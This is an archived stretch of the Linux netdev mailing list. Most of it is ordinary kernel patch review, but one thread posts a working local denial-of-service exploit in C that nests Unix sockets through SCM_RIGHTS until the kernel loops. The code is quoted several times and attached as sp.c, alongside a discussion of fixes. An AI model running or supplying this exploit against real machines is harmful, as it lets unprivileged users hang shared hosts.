* Re: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
From: Eric Dumazet @ 2010-11-25 6:28 UTC (permalink / raw)
To: Марк Коренберг
Cc: linux-kernel, netdev, David Miller
In-Reply-To: <AANLkTikCeddPFRGojPGuB6oq3xGYgovtm8r4=WhjEDpe@mail.gmail.com>
Le jeudi 25 novembre 2010 à 10:57 +0500, Марк Коренберг a écrit :
> #include <sys/socket.h>
> #include <sys/un.h>
>
> static int send_fd (int unix_fd, int fd)
> {
> struct msghdr msgh;
> struct cmsghdr *cmsg;
> char buf[CMSG_SPACE (sizeof (fd))];
>
> memset (&msgh, 0, sizeof (msgh));
> memset (buf, 0, sizeof (buf));
>
> msgh.msg_control = buf;
> msgh.msg_controllen = sizeof (buf);
>
> cmsg = CMSG_FIRSTHDR (&msgh);
> cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
> cmsg->cmsg_level = SOL_SOCKET;
> cmsg->cmsg_type = SCM_RIGHTS;
>
> msgh.msg_controllen = cmsg->cmsg_len;
>
> memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
> return sendmsg (unix_fd, &msgh, 0);
> }
>
>
> int main ()
> {
> int fd[2], ff[2];
> int target;
>
> if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
> return 1;
>
> for (;;)
> {
> if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
> return 2;
> send_fd (ff[0], fd[0]);
> send_fd (ff[0], fd[1]);
> close (fd[1]);
> close (fd[0]);
> fd[0] = ff[0];
> fd[1] = ff[1];
> }
> }
Since you obviously read recent mails on this subject yesterday, why
dont you Cc netdev ?
There is a very easy way to protect against this actually.
A patch was posted yesterday, and need some adjustements.
diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index c8df6fd..40df93d 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u)
}
static bool gc_in_progress = false;
+#define UNIX_INFLIGHT_TRIGGER_GC 2000
void wait_for_unix_gc(void)
{
+ /*
+ * If number of inflight sockets is insane,
+ * force a garbage collect right now.
+ */
+ if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)
+ unix_gc();
wait_event(unix_gc_wait, gc_in_progress == false);
}
^ permalink raw reply related
* Re: [RFC] netfilter: conntrack race between dump_table and destroy
From: Eric Dumazet @ 2010-11-25 6:34 UTC (permalink / raw)
To: Stephen Hemminger
Cc: Patrick McHardy, Paul E. McKenney, netdev, netfilter-devel
In-Reply-To: <20101124222716.437c5547@nehalam>
Le mercredi 24 novembre 2010 à 22:27 -0800, Stephen Hemminger a écrit :
> A customer reported a crash and the backtrace showed that
> ctnetlink_dump_table was running while a conntrack entry was
> being destroyed. It looks like the code for walking the table
> with hlist_nulls_for_each_entry_rcu is not correctly handling the
> case where it finds a deleted entry.
>
> According to RCU documentation, when using hlist_nulls the reader
> must handle the case of seeing a deleted entry and not proceed
> further down the linked list. For lookup the correct behavior would
> be to restart the scan, but that would generate duplicate entries.
>
> This patch is the simplest one of three alternatives:
> 1) if dead entry detected, skip the rest of the hash chain (see below)
> 2) remember skb location at start of hash chain and rescan that chain
> 3) switch to using a full lock when scanning rather than RCU.
> It all depends on the amount of effort versus consistency of results.
>
> Signed-off-by: Stephen Hemminger <shemminger@vyatta.com>
>
>
> --- a/net/netfilter/nf_conntrack_netlink.c 2010-11-24 14:11:27.661682148 -0800
> +++ b/net/netfilter/nf_conntrack_netlink.c 2010-11-24 14:22:28.431980247 -0800
> @@ -651,8 +651,12 @@ restart:
> if (NF_CT_DIRECTION(h) != IP_CT_DIR_ORIGINAL)
> continue;
> ct = nf_ct_tuplehash_to_ctrack(h);
> +
> + /* if entry is being deleted then can not proceed
> + * past this point. */
> if (!atomic_inc_not_zero(&ct->ct_general.use))
> - continue;
> + break;
> +
> /* Dump entries of a given L3 protocol number.
> * If it is not specified, ie. l3proto == 0,
> * then dump everything. */
> --
Hmm...
How restarting the loop can be a problem ?
There must be a bug somewhere else that your patch try to avoid, not to
really fix.
Normally, destroyed ct is removed eventually from the chain, so this
lookup should stop.
--
To unsubscribe from this list: send the line "unsubscribe netfilter-devel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply
* Re: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
From: Марк Коренберг @ 2010-11-25 6:52 UTC (permalink / raw)
To: Eric Dumazet
In-Reply-To: <1290666501.2798.84.camel@edumazet-laptop>
Well, It seems, that patch likely will fix 100% CPU usage.
But what about eating all available descriptors in kernel ? vulnerability ?
2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
> Le jeudi 25 novembre 2010 à 10:57 +0500, Марк Коренберг a écrit :
>> #include <sys/socket.h>
>> #include <sys/un.h>
>>
>> static int send_fd (int unix_fd, int fd)
>> {
>> struct msghdr msgh;
>> struct cmsghdr *cmsg;
>> char buf[CMSG_SPACE (sizeof (fd))];
>>
>> memset (&msgh, 0, sizeof (msgh));
>> memset (buf, 0, sizeof (buf));
>>
>> msgh.msg_control = buf;
>> msgh.msg_controllen = sizeof (buf);
>>
>> cmsg = CMSG_FIRSTHDR (&msgh);
>> cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
>> cmsg->cmsg_level = SOL_SOCKET;
>> cmsg->cmsg_type = SCM_RIGHTS;
>>
>> msgh.msg_controllen = cmsg->cmsg_len;
>>
>> memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
>> return sendmsg (unix_fd, &msgh, 0);
>> }
>>
>>
>> int main ()
>> {
>> int fd[2], ff[2];
>> int target;
>>
>> if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
>> return 1;
>>
>> for (;;)
>> {
>> if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
>> return 2;
>> send_fd (ff[0], fd[0]);
>> send_fd (ff[0], fd[1]);
>> close (fd[1]);
>> close (fd[0]);
>> fd[0] = ff[0];
>> fd[1] = ff[1];
>> }
>> }
>
>
> Since you obviously read recent mails on this subject yesterday, why
> dont you Cc netdev ?
>
> There is a very easy way to protect against this actually.
>
> A patch was posted yesterday, and need some adjustements.
>
>
> diff --git a/net/unix/garbage.c b/net/unix/garbage.c
> index c8df6fd..40df93d 100644
> --- a/net/unix/garbage.c
> +++ b/net/unix/garbage.c
> @@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u)
> }
>
> static bool gc_in_progress = false;
> +#define UNIX_INFLIGHT_TRIGGER_GC 2000
>
> void wait_for_unix_gc(void)
> {
> + /*
> + * If number of inflight sockets is insane,
> + * force a garbage collect right now.
> + */
> + if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)
> + unix_gc();
> wait_event(unix_gc_wait, gc_in_progress == false);
> }
>
>
>
>
--
Segmentation fault
^ permalink raw reply
* Re: [RFC] netfilter: conntrack race between dump_table and destroy
From: Stephen Hemminger @ 2010-11-25 7:00 UTC (permalink / raw)
To: Eric Dumazet; +Cc: Patrick McHardy, Paul E. McKenney, netdev, netfilter-devel
In-Reply-To: <1290666873.2798.89.camel@edumazet-laptop>
On Thu, 25 Nov 2010 07:34:33 +0100
Eric Dumazet <eric.dumazet@gmail.com> wrote:
> Le mercredi 24 novembre 2010 à 22:27 -0800, Stephen Hemminger a écrit :
> > A customer reported a crash and the backtrace showed that
> > ctnetlink_dump_table was running while a conntrack entry was
> > being destroyed. It looks like the code for walking the table
> > with hlist_nulls_for_each_entry_rcu is not correctly handling the
> > case where it finds a deleted entry.
> >
> > According to RCU documentation, when using hlist_nulls the reader
> > must handle the case of seeing a deleted entry and not proceed
> > further down the linked list. For lookup the correct behavior would
> > be to restart the scan, but that would generate duplicate entries.
> >
> > This patch is the simplest one of three alternatives:
> > 1) if dead entry detected, skip the rest of the hash chain (see below)
> > 2) remember skb location at start of hash chain and rescan that chain
> > 3) switch to using a full lock when scanning rather than RCU.
> > It all depends on the amount of effort versus consistency of results.
> >
> > Signed-off-by: Stephen Hemminger <shemminger@vyatta.com>
> >
> >
> > --- a/net/netfilter/nf_conntrack_netlink.c 2010-11-24 14:11:27.661682148 -0800
> > +++ b/net/netfilter/nf_conntrack_netlink.c 2010-11-24 14:22:28.431980247 -0800
> > @@ -651,8 +651,12 @@ restart:
> > if (NF_CT_DIRECTION(h) != IP_CT_DIR_ORIGINAL)
> > continue;
> > ct = nf_ct_tuplehash_to_ctrack(h);
> > +
> > + /* if entry is being deleted then can not proceed
> > + * past this point. */
> > if (!atomic_inc_not_zero(&ct->ct_general.use))
> > - continue;
> > + break;
> > +
> > /* Dump entries of a given L3 protocol number.
> > * If it is not specified, ie. l3proto == 0,
> > * then dump everything. */
> > --
>
> Hmm...
>
> How restarting the loop can be a problem ?
At this point in the loop, some entries have been placed in the netlink
dump buffer. Restarting the loop will cause duplicate entries.
> There must be a bug somewhere else that your patch try to avoid, not to
> really fix.
>
> Normally, destroyed ct is removed eventually from the chain, so this
> lookup should stop.
Because hlist_nulls it is possible to walk into a dead entry, in that
case the next pointer is no longer valid.
--
--
To unsubscribe from this list: send the line "unsubscribe netfilter-devel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply
* Re: [RFC] netfilter: conntrack race between dump_table and destroy
From: Eric Dumazet @ 2010-11-25 7:13 UTC (permalink / raw)
To: Stephen Hemminger
Cc: Patrick McHardy, Paul E. McKenney, netdev, netfilter-devel
In-Reply-To: <20101124230004.1dc28e5a@nehalam>
Le mercredi 24 novembre 2010 à 23:00 -0800, Stephen Hemminger a écrit :
> On Thu, 25 Nov 2010 07:34:33 +0100
> Eric Dumazet <eric.dumazet@gmail.com> wrote:
>
> > Le mercredi 24 novembre 2010 à 22:27 -0800, Stephen Hemminger a écrit :
> > > A customer reported a crash and the backtrace showed that
> > > ctnetlink_dump_table was running while a conntrack entry was
> > > being destroyed. It looks like the code for walking the table
> > > with hlist_nulls_for_each_entry_rcu is not correctly handling the
> > > case where it finds a deleted entry.
> > >
> > > According to RCU documentation, when using hlist_nulls the reader
> > > must handle the case of seeing a deleted entry and not proceed
> > > further down the linked list. For lookup the correct behavior would
> > > be to restart the scan, but that would generate duplicate entries.
> > >
> > > This patch is the simplest one of three alternatives:
> > > 1) if dead entry detected, skip the rest of the hash chain (see below)
> > > 2) remember skb location at start of hash chain and rescan that chain
> > > 3) switch to using a full lock when scanning rather than RCU.
> > > It all depends on the amount of effort versus consistency of results.
> > >
> > > Signed-off-by: Stephen Hemminger <shemminger@vyatta.com>
> > >
> > >
> > > --- a/net/netfilter/nf_conntrack_netlink.c 2010-11-24 14:11:27.661682148 -0800
> > > +++ b/net/netfilter/nf_conntrack_netlink.c 2010-11-24 14:22:28.431980247 -0800
> > > @@ -651,8 +651,12 @@ restart:
> > > if (NF_CT_DIRECTION(h) != IP_CT_DIR_ORIGINAL)
> > > continue;
> > > ct = nf_ct_tuplehash_to_ctrack(h);
> > > +
> > > + /* if entry is being deleted then can not proceed
> > > + * past this point. */
> > > if (!atomic_inc_not_zero(&ct->ct_general.use))
> > > - continue;
> > > + break;
> > > +
> > > /* Dump entries of a given L3 protocol number.
> > > * If it is not specified, ie. l3proto == 0,
> > > * then dump everything. */
> > > --
> >
> > Hmm...
> >
> > How restarting the loop can be a problem ?
>
> At this point in the loop, some entries have been placed in the netlink
> dump buffer. Restarting the loop will cause duplicate entries.
>
Then this is another problem.
We cannot use RCU at all here.
Or we miss valid entries in the chain.
> > There must be a bug somewhere else that your patch try to avoid, not to
> > really fix.
> >
> > Normally, destroyed ct is removed eventually from the chain, so this
> > lookup should stop.
>
> Because hlist_nulls it is possible to walk into a dead entry, in that
> case the next pointer is no longer valid.
>
RCU should be used where needed, in fast path only, to find one entry,
not to find _all_ entries.
For example, we cannot use it for UDP multicast delivery for the same
reasons : If we find a deleted or moved socket, we must restart the loop
and forget all accumulated sockets.
If netlink dumps each entry in the final destination container, then we
cannot restart loop, and cannot use RCU for chain lookup.
^ permalink raw reply
* Re: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
From: Eric Dumazet @ 2010-11-25 7:14 UTC (permalink / raw)
To: Марк Коренберг
Cc: linux-kernel, netdev, David Miller
In-Reply-To: <1290666501.2798.84.camel@edumazet-laptop>
Le jeudi 25 novembre 2010 à 07:28 +0100, Eric Dumazet a écrit :
>
> Since you obviously read recent mails on this subject yesterday, why
> dont you Cc netdev ?
>
> There is a very easy way to protect against this actually.
>
> A patch was posted yesterday, and need some adjustements.
>
>
> diff --git a/net/unix/garbage.c b/net/unix/garbage.c
> index c8df6fd..40df93d 100644
> --- a/net/unix/garbage.c
> +++ b/net/unix/garbage.c
> @@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u)
> }
>
> static bool gc_in_progress = false;
> +#define UNIX_INFLIGHT_TRIGGER_GC 2000
>
> void wait_for_unix_gc(void)
> {
> + /*
> + * If number of inflight sockets is insane,
> + * force a garbage collect right now.
> + */
> + if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)
> + unix_gc();
> wait_event(unix_gc_wait, gc_in_progress == false);
> }
>
>
Hmm... it seems its another problem, chains are very long so we hit a
NMI watchdog.
I guess we should limit to a very small number, like 64, or rewrite the
garbage collector to a better algo.
^ permalink raw reply
* [PATCH]ipv6: kill two unused macro definition
From: Shan Wei @ 2010-11-25 7:47 UTC (permalink / raw)
To: David Miller; +Cc: Network-Maillist, adobriyan
1. IPV6_TLV_TEL_DST_SIZE
This has not been using for several years since created.
2. RT6_INFO_LEN
commit 33120b30 kill all RT6_INFO_LEN's references, but only this definition remained.
commit 33120b30cc3b8665204d4fcde7288638b0dd04d5
Author: Alexey Dobriyan <adobriyan@sw.ru>
Date: Tue Nov 6 05:27:11 2007 -0800
[IPV6]: Convert /proc/net/ipv6_route to seq_file interface
Signed-off-by: Shan Wei <shanwei@cn.fujitsu.com>
---
For this cleanup and trival patch, don't split in two.
---
net/ipv6/ip6_tunnel.c | 2 --
net/ipv6/route.c | 2 --
2 files changed, 0 insertions(+), 4 deletions(-)
diff --git a/net/ipv6/ip6_tunnel.c b/net/ipv6/ip6_tunnel.c
index 2a59610..b115555 100644
--- a/net/ipv6/ip6_tunnel.c
+++ b/net/ipv6/ip6_tunnel.c
@@ -58,8 +58,6 @@ MODULE_AUTHOR("Ville Nuorvala");
MODULE_DESCRIPTION("IPv6 tunneling device");
MODULE_LICENSE("GPL");
-#define IPV6_TLV_TEL_DST_SIZE 8
-
#ifdef IP6_TNL_DEBUG
#define IP6_TNL_TRACE(x...) printk(KERN_DEBUG "%s:" x "\n", __func__)
#else
diff --git a/net/ipv6/route.c b/net/ipv6/route.c
index 96455ff..e05babe 100644
--- a/net/ipv6/route.c
+++ b/net/ipv6/route.c
@@ -2465,8 +2465,6 @@ static int ip6_route_dev_notify(struct notifier_block *this,
#ifdef CONFIG_PROC_FS
-#define RT6_INFO_LEN (32 + 4 + 32 + 4 + 32 + 40 + 5 + 1)
-
struct rt6_proc_arg
{
char *buffer;
--
1.6.3.3
^ permalink raw reply related
* Fwd: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
From: Марк Коренберг @ 2010-11-25 7:52 UTC (permalink / raw)
To: netdev
In-Reply-To: <AANLkTinQa8BCH-k0m=ndu4u8L-kCiD00jYjKvsvoxK2E@mail.gmail.com>
[-- Attachment #1: Type: text/plain, Size: 1065 bytes --]
---------- Forwarded message ----------
From: Марк Коренберг <socketpair@gmail.com>
Date: 2010/11/25
Subject: Re: Simple kernel attack using socketpair. easy, 100%
reproductiblle, works under guest. no way to protect :(
To: Eric Dumazet <eric.dumazet@gmail.com>
2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
> Le jeudi 25 novembre 2010 à 11:52 +0500, Марк Коренберг a écrit :
>> Well, It seems, that patch likely will fix 100% CPU usage.
>>
>> But what about eating all available descriptors in kernel ? vulnerability ?
>>
>
> It doesnt fix cpu usage actually, your program eats 100% of one cpu,
> like the following one :
>
> for (;;) ;
>
> If you want not eat 100% cpu, I suggest you add some blocking calls,
> like usleep(10000)
>
> for (;;) usleep(10000);
>
> Patch only makes sure kernel wont eat too much memory to store inflight
> unix sockets.
I have attached source which proove, that loop not inside this
program, but inside kernel.
--
Segmentation fault
--
Segmentation fault
[-- Attachment #2: sp.c --]
[-- Type: text/x-csrc, Size: 979 bytes --]
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
static int send_fd (int unix_fd, int fd)
{
struct msghdr msgh;
struct cmsghdr *cmsg;
char buf[CMSG_SPACE (sizeof (fd))];
memset (&msgh, 0, sizeof (msgh));
memset (buf, 0, sizeof (buf));
msgh.msg_control = buf;
msgh.msg_controllen = sizeof (buf);
cmsg = CMSG_FIRSTHDR (&msgh);
cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
msgh.msg_controllen = cmsg->cmsg_len;
memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
return sendmsg (unix_fd, &msgh, 0);
}
int main ()
{
int fd[2], ff[2];
int target;
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd) == -1)
return 1;
while (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff) != -1)
{
send_fd (ff[0], fd[0]);
send_fd (ff[0], fd[1]);
close (fd[1]);
close (fd[0]);
fd[0] = ff[0];
fd[1] = ff[1];
}
return printf ("Try kill me :). Happy killing :)\n");
}
^ permalink raw reply
* Re: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
From: Марк Коренберг @ 2010-11-25 8:05 UTC (permalink / raw)
To: Eric Dumazet
In-Reply-To: <1290670889.2798.127.camel@edumazet-laptop>
2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
> Le jeudi 25 novembre 2010 à 12:35 +0500, Марк Коренберг a écrit :
>> 2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
>> > Le jeudi 25 novembre 2010 à 11:52 +0500, Марк Коренберг a écrit :
>> >> Well, It seems, that patch likely will fix 100% CPU usage.
>> >>
>> >> But what about eating all available descriptors in kernel ? vulnerability ?
>> >>
>> >
>> > It doesnt fix cpu usage actually, your program eats 100% of one cpu,
>> > like the following one :
>> >
>> > for (;;) ;
>>
>> No. You don't understand. I can't kill -KILL such program. CPU usage
>> will be 100%. program hang in kernel, process is not in
>> Uninterruptible sleep (in Running state). So I think some kernel loop
>> like for(;;); exists. maybe looped recursion or so on.
>>
>
> I understand very well, thanks.
>
> There is no recursion (stack usage) in kernel, this is why CPU eats so
> much cycles to handle your workload.
>
> kill ... is not interrupting this loop in kernel, only when current
> system call is finished.
>
> We'll have to add limits to forbid malicious programs to use too much
> cpu in kernel.
new ulimit constant ?
how to detect, that user is malicious ?
I think, it will be nice to count "reursion level" of file descriptors
instances.
recursion level increases if fd is put inside unix socket.
If recursion level is bigger than some border (10 for example), do not
to allow to put such file descriptor into unixsocket.
I understand .. this is heavy.
Fortunatelly I have idea :) :
Do not allow to pass unix socket A into unixsocket B if A contains
file descriptors. I think it would not break current applications.
This will fix problem which illustrate my example.
But, malicious user can insert descriptors into A _AFTER_ passing A
into B, by using another A instance called C. Kernel should not allow
do that -- if kernel see, that unix socket A=C already inside some
other unix socket, it should return error.
--
Segmentation fault
^ permalink raw reply
* Re: Fwd: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
From: Eric Dumazet @ 2010-11-25 8:16 UTC (permalink / raw)
To: Марк Коренберг
Cc: netdev
In-Reply-To: <AANLkTin3SAdiRR4eda3SDdDV4XfKTqH5Z0a7Pih2O4jZ@mail.gmail.com>
Le jeudi 25 novembre 2010 à 12:52 +0500, Марк Коренберг a écrit :
> ---------- Forwarded message ----------
> From: Марк Коренберг <socketpair@gmail.com>
> Date: 2010/11/25
> Subject: Re: Simple kernel attack using socketpair. easy, 100%
> reproductiblle, works under guest. no way to protect :(
> To: Eric Dumazet <eric.dumazet@gmail.com>
>
>
> 2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
> > Le jeudi 25 novembre 2010 à 11:52 +0500, Марк Коренберг a écrit :
> >> Well, It seems, that patch likely will fix 100% CPU usage.
> >>
> >> But what about eating all available descriptors in kernel ? vulnerability ?
> >>
> >
> > It doesnt fix cpu usage actually, your program eats 100% of one cpu,
> > like the following one :
> >
> > for (;;) ;
> >
> > If you want not eat 100% cpu, I suggest you add some blocking calls,
> > like usleep(10000)
> >
> > for (;;) usleep(10000);
> >
> > Patch only makes sure kernel wont eat too much memory to store inflight
> > unix sockets.
>
> I have attached source which proove, that loop not inside this
> program, but inside kernel.
>
> --
Better send a fix, now that thousand of people know how to kill a linux
machine.
Congrats.
^ permalink raw reply
* Re: Fwd: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
From: Марк Коренберг @ 2010-11-25 8:35 UTC (permalink / raw)
To: Eric Dumazet; +Cc: netdev
In-Reply-To: <1290672978.2798.151.camel@edumazet-laptop>
quick and dirty fix will be not to allow to pass unix socket inside
unix socket. I think it would not break much applications.
2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
> Le jeudi 25 novembre 2010 à 12:52 +0500, Марк Коренберг a écrit :
>> ---------- Forwarded message ----------
>> From: Марк Коренберг <socketpair@gmail.com>
>> Date: 2010/11/25
>> Subject: Re: Simple kernel attack using socketpair. easy, 100%
>> reproductiblle, works under guest. no way to protect :(
>> To: Eric Dumazet <eric.dumazet@gmail.com>
>>
>>
>> 2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
>> > Le jeudi 25 novembre 2010 à 11:52 +0500, Марк Коренберг a écrit :
>> >> Well, It seems, that patch likely will fix 100% CPU usage.
>> >>
>> >> But what about eating all available descriptors in kernel ? vulnerability ?
>> >>
>> >
>> > It doesnt fix cpu usage actually, your program eats 100% of one cpu,
>> > like the following one :
>> >
>> > for (;;) ;
>> >
>> > If you want not eat 100% cpu, I suggest you add some blocking calls,
>> > like usleep(10000)
>> >
>> > for (;;) usleep(10000);
>> >
>> > Patch only makes sure kernel wont eat too much memory to store inflight
>> > unix sockets.
>>
>> I have attached source which proove, that loop not inside this
>> program, but inside kernel.
>>
>> --
>
> Better send a fix, now that thousand of people know how to kill a linux
> machine.
>
> Congrats.
>
>
>
>
--
Segmentation fault
^ permalink raw reply
* [PATCH net-next] bnx2x: Use skb_is_gso_v6(skb) instead of accessing the skb_shinfo(skb) directly
From: Vladislav Zolotarov @ 2010-11-25 9:52 UTC (permalink / raw)
To: Dave Miller; +Cc: Eilon Greenstein, netdev list
In-Reply-To: <1290612078.27220.2.camel@lb-tlvb-vladz>
Signed-off-by: Vladislav Zolotarov <vladz@broadcom.com>
Signed-off-by: Eilon Greenstein <eilong@broadcom.com>
---
drivers/net/bnx2x/bnx2x_cmn.c | 2 +-
1 files changed, 1 insertions(+), 1 deletions(-)
diff --git a/drivers/net/bnx2x/bnx2x_cmn.c b/drivers/net/bnx2x/bnx2x_cmn.c
index 94d5f59..fa8e9ee 100644
--- a/drivers/net/bnx2x/bnx2x_cmn.c
+++ b/drivers/net/bnx2x/bnx2x_cmn.c
@@ -1695,7 +1695,7 @@ static inline u32 bnx2x_xmit_type(struct bnx2x *bp, struct sk_buff *skb)
if (skb_shinfo(skb)->gso_type & SKB_GSO_TCPV4)
rc |= (XMIT_GSO_V4 | XMIT_CSUM_V4 | XMIT_CSUM_TCP);
- else if (skb_shinfo(skb)->gso_type & SKB_GSO_TCPV6)
+ else if (skb_is_gso_v6(skb))
rc |= (XMIT_GSO_V6 | XMIT_CSUM_TCP | XMIT_CSUM_V6);
return rc;
--
1.7.0.4
^ permalink raw reply related
* Re: [PATCH net-next-2.6 6/17 v3] can: EG20T PCH: Fix endianness issue
From: Tomoya MORINAGA @ 2010-11-25 11:10 UTC (permalink / raw)
To: Marc Kleine-Budde
Cc: andrew.chih.howe.khor-ral2JQCrhuEAvxtiuMwx3w, Samuel Ortiz,
margie.foster-ral2JQCrhuEAvxtiuMwx3w,
netdev-u79uwXL29TY76Z2rM5mHXA,
linux-kernel-u79uwXL29TY76Z2rM5mHXA,
socketcan-core-0fE9KPoRgkgATYTw5x5z8w,
yong.y.wang-ral2JQCrhuEAvxtiuMwx3w,
kok.howg.ewe-ral2JQCrhuEAvxtiuMwx3w, Wolfgang Grandegger,
joel.clark-ral2JQCrhuEAvxtiuMwx3w, David S. Miller,
Christian Pellegrin, qi.wang-ral2JQCrhuEAvxtiuMwx3w
In-Reply-To: <4CED13B5.5020309@pengutronix.de>
On Wednesday, November 24, 2010 10:31 PM, Marc Kleine-Budde wrote :
>> For easy to read, some sub-functions are created.
>>
>>
>> Modify complex "goto" to do~while.
>What about the next_flag in the rx_normal function? Can you get rid of
>it, too?
Subsequent Patch (11/17 Delete unnecessary ...) deletes "next_flag" in the rx_normal function.
---
Thanks,
Tomoya MORINAGA
OKI SEMICONDUCTOR CO., LTD.
----- Original Message -----
From: "Marc Kleine-Budde" <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>
To: "Tomoya MORINAGA" <tomoya-linux-ECg8zkTtlr0C6LszWs/t0g@public.gmane.org>
Cc: "Wolfgang Grandegger" <wg-5Yr1BZd7O62+XT7JhA+gdA@public.gmane.org>; "Wolfram Sang" <w.sang-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>; "Christian Pellegrin"
<chripell-VaTbYqLCNhc@public.gmane.org>; "Barry Song" <21cnbao-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>; "Samuel Ortiz" <sameo-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>;
<socketcan-core-0fE9KPoRgkgATYTw5x5z8w@public.gmane.org>; <netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>; <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>; "David S. Miller"
<davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>; <andrew.chih.howe.khor-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>; <qi.wang-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>; <margie.foster-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>;
<yong.y.wang-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>; <kok.howg.ewe-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>; <joel.clark-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Sent: Wednesday, November 24, 2010 10:31 PM
Subject: Re: [PATCH net-next-2.6 6/17 v3] can: EG20T PCH: Fix endianness issue
^ permalink raw reply
* Re: [PATCH 1/1] NET: wan/x25_asy, move lapb_unregister to x25_asy_close_tty
From: Andrew Hendry @ 2010-11-25 11:37 UTC (permalink / raw)
To: Jiri Slaby; +Cc: davem, netdev, slapin, linux-kernel, jirislaby
In-Reply-To: <1290642894-4577-1-git-send-email-jslaby@suse.cz>
Sorry I haven't used this driver so can't fully test it. Looks
straightforward and compile tested ok.
On Thu, Nov 25, 2010 at 10:54 AM, Jiri Slaby <jslaby@suse.cz> wrote:
> We register lapb when tty is created, but unregister it only when the
> device is UP. So move the lapb_unregister to x25_asy_close_tty after
> the device is down.
>
> Signed-off-by: Jiri Slaby <jslaby@suse.cz>
> Reported-by: Sergey Lapin <slapin@ossfans.org>
> Cc: Andrew Hendry <andrew.hendry@gmail.com>
> ---
> drivers/net/wan/x25_asy.c | 11 ++++++-----
> 1 files changed, 6 insertions(+), 5 deletions(-)
>
> diff --git a/drivers/net/wan/x25_asy.c b/drivers/net/wan/x25_asy.c
> index 66cda25..24297b2 100644
> --- a/drivers/net/wan/x25_asy.c
> +++ b/drivers/net/wan/x25_asy.c
> @@ -498,7 +498,6 @@ norbuff:
> static int x25_asy_close(struct net_device *dev)
> {
> struct x25_asy *sl = netdev_priv(dev);
> - int err;
>
> spin_lock(&sl->lock);
> if (sl->tty)
> @@ -507,10 +506,6 @@ static int x25_asy_close(struct net_device *dev)
> netif_stop_queue(dev);
> sl->rcount = 0;
> sl->xleft = 0;
> - err = lapb_unregister(dev);
> - if (err != LAPB_OK)
> - printk(KERN_ERR "x25_asy_close: lapb_unregister error -%d\n",
> - err);
> spin_unlock(&sl->lock);
> return 0;
> }
> @@ -595,6 +590,7 @@ static int x25_asy_open_tty(struct tty_struct *tty)
> static void x25_asy_close_tty(struct tty_struct *tty)
> {
> struct x25_asy *sl = tty->disc_data;
> + int err;
>
> /* First make sure we're connected. */
> if (!sl || sl->magic != X25_ASY_MAGIC)
> @@ -605,6 +601,11 @@ static void x25_asy_close_tty(struct tty_struct *tty)
> dev_close(sl->dev);
> rtnl_unlock();
>
> + err = lapb_unregister(sl->dev);
> + if (err != LAPB_OK)
> + printk(KERN_ERR "x25_asy_close: lapb_unregister error -%d\n",
> + err);
> +
> tty->disc_data = NULL;
> sl->tty = NULL;
> x25_asy_free(sl);
> --
> 1.7.3.1
>
>
>
^ permalink raw reply
* Re: [PATCH net-next-2.6 6/17 v3] can: EG20T PCH: Fix endianness issue
From: Marc Kleine-Budde @ 2010-11-25 11:47 UTC (permalink / raw)
To: Tomoya MORINAGA
Cc: andrew.chih.howe.khor-ral2JQCrhuEAvxtiuMwx3w, Samuel Ortiz,
margie.foster-ral2JQCrhuEAvxtiuMwx3w,
netdev-u79uwXL29TY76Z2rM5mHXA, Christian Pellegrin,
linux-kernel-u79uwXL29TY76Z2rM5mHXA,
